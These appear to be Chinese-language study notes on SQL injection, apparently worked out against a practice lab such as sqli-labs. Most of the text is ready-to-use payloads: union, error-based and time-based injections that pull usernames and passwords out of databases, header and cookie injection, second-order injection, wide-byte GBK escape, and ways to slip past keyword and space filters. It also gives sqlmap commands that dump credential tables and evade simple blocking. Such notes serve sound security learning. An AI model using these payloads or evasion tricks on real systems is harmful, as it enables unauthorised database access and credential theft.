sql注入基础
联合注入
空格 %20或+
井号 # %23
换行符 %0a
" %22
?id=1’–+
?id=1’ order by 3–+
?id=-1’ union select 1,2,3–+
?id=-1’ union select 1,version(),databse()–+
?id=-1’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
?id=-1’ union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘’)–+
?id=-1’ union select 1,database(),group_concat(username,‘;’,password) from users–+
数字型注入
?id=1 order by 3–+
id的闭合方式为’)
?id=1’)union select 1,2,3–+
闭合方式为"$id"
?id=1"
报错注入
updatexml(XML_document,XPath_string,new_value)必须为三个参数
extractvalue(XML_document,xpath_string)必须为两个参数
updatexml
![[Pasted image 20260420223934.png|706]]
?id=1' --+ ?id=1" --+ ?id=1') --+ ?id=1") --+发现没有回显账号密码
?id=1’ and updatexml(1,0x7e,1)–+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘user’)),1)–+
?id=1’ and updatexml(1,concat(0x7e,(select concat(username,‘;’,password) from users limit 0,1)),1)–+
使用limit逐条爆破
extractvalue
?id=1" and extractvalue(1,concat(0x7e,(select concat(username,‘:’,password) from users limit 0,1)))–+
sqlmap的使用
–batch表示碰到选择时选用默认选项,–dbs表示爬取所有数据库名
-D 库名 --tables表示爬取某数据库下的所有表
-D 库名 -T 表名 --columns表示爬取某库下某表的所有列
直接使用数据包
sqlmap -r aaa.txt --batch
post报错注入
-r 读取文件
sqlmap -r post.txt --technique E --batch
–random-agent 防简单拦截
sqlmap -r test.txt --random-agent --batch -D security -T users --columns --dump
sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" --dbs sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" -D 'security' --tables sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" -D 'security' -T users --columns sqlmap -u "http://192.168.22.3:8080/Less-7/?id=" -D 'security' -T users -C username,password --dump --batch延时注入
页面加载变慢说明存在延时注入
?id=1’ and if(1,sleep(5),1)–+
判断数据库长度
?id=1’ and if(length(database())=8,sleep(5),1)–+
逐个猜数据库
?id=1’ and if(ascii(mid(database(),1,1))=115,sleep(),1)–+
User-Agent头注入
![[Pasted image 20260422154230.png]]
通过闭合方式猜测可能是insert语句,可尝试拼接
’ and extractvalue(1,concat(0x7e,database())) and’
Referer注入
和上面相同
cookies注入
![[Pasted image 20260422160624.png]]
加’发现limit,直接用union进行注入
![[Pasted image 20260422161221.png]]
发现cookies被加密,只需要将注入的命令进行base64加密在写入进去就行
注释被过滤
方法一
采用闭合拼接的方式
?id=’ or extractvalue(1,concat(0x7e,database())) or’
方法二
用;%00替换注释
;结束sql
%00空字符截断,防止后面的内容被解析
组合:强制结束语句 + 截断后续代码
二次注入
第一次注入:恶意语句存入数据库
第二次调用:数据库里的恶意内容被执行,触发漏洞
比如用户提交用户名为admin’#
当修改这个账户的密码时,这个sql语句就会执行
此时的sql语句为
UPDATE users SET PASSWORD=‘12345’ where username=‘admin’#’ and password=‘123456’
or或and被过滤
or可写为||
and写为&&
注意information中的or要双写,password
?id=1'||updatexml(1,concat(0x7e,database()),1)--+ ?id=1'||extractvalue(1,concat(0x7e,user()))--+#:URL 锚点,不传给后端,注释失效 --+:URL 安全的 MySQL 注释,完整传到后端,完美闭合尾部引号空格被过滤
- %09 水平制表符 - %0a 换行符 - %0b 垂直制表符 - %0c 换页符 - 0d 回车符 - /**/ 内联注释都可以用来替代空格
?id=-1%27||updatexml(1,concat(0x7e,database()),1);%00
union和select被过滤
双写绕过
union ununionion
select seselectlect
内联注释绕过
uni/**/on sele/**/ct大小写绕过
Union
SelEcT
url编码绕过
%55%6E%69%6F%6E = union
特殊字符加空白符绕过
用%0b%0c%09插中间
uni%0bon
sele%0bct
?id=0%27ununionion%0aSelEcT%0a1,2,3;%00?id=0%27)%0aunion%0aseunion%0aselectlect%0a1,2,3;%00宽字节注入
- 正常转义:
'→\'(URL:%27 → %5c%27) - 攻击者构造:
%df' - PHP 转义后:
%df%5c%27 - MySQL GBK 解析:
%df + %5c= 合法汉字 運(转义符被吃掉)- 剩下独立
%27→ 单引号成功逃逸、闭合 SQL
只要首字节 > 128,都能吃掉%5c:%df、%e0、%e1、%e2...%fe通用
?id=-1%df%5c%27%20union%20select%201,2,3--+堆叠注入
联合注入union select 只能查数据
堆叠注入 ;第二条sql语句 能够进行增删改查
order by注入
order by不支持union联合查询
常用 报错注入 时间延时盲注 布尔盲注
主要使用sort参数
最常用的
sort=1 and (updatexml(1,concat(0x7e,database()),1))使用sort=rand(true)和sort=rand(false)判断是否为数字型注入,不同就是数字型注入
使用select load_file()读取文件内容
